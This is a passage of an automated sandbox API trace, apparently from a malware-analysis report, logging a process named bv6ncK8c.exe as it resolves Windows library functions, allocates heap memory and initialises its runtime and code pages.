out: phModule=0x12fe58) returned 0 [0126.144] RtlExitUserProcess (ExitCode=0x1) [0126.145] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27f050 | out: hHeap=0x260000) returned 1 Process: id = "229" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x75adf000" os_pid = "0xff4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "219" os_parent_pid = "0xf94" cmd_line = "bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 832 os_tid = 0xff8 [0126.191] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0126.192] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0126.192] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0126.192] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0126.192] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0126.192] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0126.192] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0126.192] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0126.192] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0126.192] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0126.192] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0126.192] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0126.192] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0126.193] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0126.193] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0126.193] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0126.193] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0126.193] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0126.193] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0126.193] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0126.193] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0126.193] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0126.193] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0126.193] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0126.193] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0126.193] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0126.194] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0126.194] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0126.194] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0126.194] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0126.194] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0126.194] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0126.194] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0126.194] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0126.194] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0126.194] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0126.194] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0126.194] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0126.194] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0126.195] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0126.195] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0126.195] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0126.195] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0126.195] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0126.195] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0126.195] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0126.195] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0126.195] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0126.195] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0126.195] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0126.195] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0126.195] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0126.196] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0126.196] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0126.196] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0126.196] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0126.196] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0126.196] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0126.196] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0126.196] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0126.196] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0126.196] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0126.196] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0126.196] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0126.198] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0126.198] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0126.198] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0126.198] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0126.199] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0126.199] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0126.199] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0126.199] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0126.199] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0126.199] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0126.199] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0126.199] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0126.199] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0126.199] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0126.199] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0126.200] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0126.200] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0126.200] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0126.200] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0126.200] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0126.200] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0126.200] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0126.200] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0126.200] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0126.200] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0126.200] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0126.200] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0126.200] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0126.201] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0126.201] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0126.201] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0126.201] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0126.201] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0126.201] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0126.201] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0126.201] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0126.201] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0126.201] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0126.201] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0126.201] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0126.202] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0126.202] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0126.202] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0126.202] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0126.202] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0126.202] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0126.202] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0126.202] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0126.202] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0126.202] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0126.202] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0126.202] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0126.202] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0126.203] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0126.203] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0126.203] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0126.203] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0126.203] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0126.203] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74290000 [0126.203] GetProcAddress (hModule=0x74290000, lpProcName="GetFileVersionInfoW") returned 0x742919f4 [0126.203] GetProcAddress (hModule=0x74290000, lpProcName="VerQueryValueW") returned 0x74291b51 [0126.203] GetProcAddress (hModule=0x74290000, lpProcName="GetFileVersionInfoSizeW") returned 0x742919d9 [0126.203] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0126.330] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0126.330] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xeebc9200, dwHighDateTime=0x1d5d06a)) [0126.330] GetCurrentThreadId () returned 0xff8 [0126.330] GetCurrentProcessId () returned 0xff4 [0126.330] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=26828245806) returned 1 [0126.330] GetProcessHeap () returned 0x560000 [0126.330] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0126.331] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0126.331] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0126.331] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0126.331] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0126.331] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0126.331] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0126.331] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0126.331] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0126.331] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0126.331] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0126.331] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0126.331] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0126.331] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0126.332] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0126.332] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0126.332] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0126.332] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0126.332] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0126.332] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0126.332] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0126.332] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0126.332] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0126.332] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0126.332] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0126.332] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0126.332] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0126.333] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0126.333] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0126.333] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0126.333] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0126.333] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0126.333] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0126.333] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0126.334] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3bc) returned 0x5770a0 [0126.334] GetCurrentThreadId () returned 0xff8 [0126.334] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x18) returned 0x577468 [0126.334] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x800) returned 0x577488 [0126.334] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0xd07fc9f2, hStdError=0x0)) [0126.334] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0126.334] GetFileType (hFile=0x3) returned 0x2 [0126.334] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0126.334] GetFileType (hFile=0x7) returned 0x2 [0126.335] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0126.335] GetFileType (hFile=0xb) returned 0x2 [0126.335] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" [0126.335] GetEnvironmentStringsW () returned 0x577c90* [0126.335] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xb86) returned 0x578820 [0126.335] FreeEnvironmentStringsW (penv=0x577c90) returned 1 [0126.335] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0126.335] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x94) returned 0x577c90 [0126.335] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0xa0) returned 0x577d30 [0126.335] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3e) returned 0x574dd0 [0126.335] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x6c) returned 0x577dd8 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x6e) returned 0x577e50 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x78) returned 0x56f900 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x62) returned 0x577ec8 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x2e) returned 0x577f38 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x48) returned 0x577f70 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x2a) returned 0x577fc0 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x28) returned 0x577ff8 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1a) returned 0x576a70 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x4a) returned 0x578028 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x72) returned 0x56f980 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x30) returned 0x578080 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x2e) returned 0x5780b8 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1c) returned 0x576a98 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0xd2) returned 0x5780f0 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x7c) returned 0x5781d0 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x36) returned 0x578258 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574e18 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x90) returned 0x578298 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x24) returned 0x578330 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x30) returned 0x578360 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x36) returned 0x578398 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x48) returned 0x5783d8 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x52) returned 0x578428 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3c) returned 0x574e60 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x18) returned 0x578488 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x82) returned 0x5784a8 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x2e) returned 0x578538 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x576ac0 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x2c) returned 0x578570 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x54) returned 0x5785a8 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x52) returned 0x578608 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x2a) returned 0x578668 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3c) returned 0x574ea8 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x54) returned 0x5786a0 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x24) returned 0x578700 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x30) returned 0x578730 [0126.336] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x8c) returned 0x578768 [0126.336] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x578820 | out: hHeap=0x560000) returned 1 [0126.337] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x800) returned 0x578800 [0126.337] GetLastError () returned 0x0 [0126.337] SetLastError (dwErrCode=0x0) [0126.337] GetLastError () returned 0x0 [0126.337] SetLastError (dwErrCode=0x0) [0126.337] GetLastError () returned 0x0 [0126.337] SetLastError (dwErrCode=0x0) [0126.337] GetACP () returned 0x4e4 [0126.337] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x220) returned 0x579008 [0126.337] GetLastError () returned 0x0 [0126.337] SetLastError (dwErrCode=0x0) [0126.337] IsValidCodePage (CodePage=0x4e4) returned 1 [0126.337] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0126.337] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0126.337] GetLastError () returned 0x0 [0126.337] SetLastError (dwErrCode=0x0) [0126.337] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0126.337] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0126.337] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0126.338] GetLastError () returned 0x0 [0126.338] SetLastError (dwErrCode=0x0) [0126.338] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0126.338] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0126.338] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 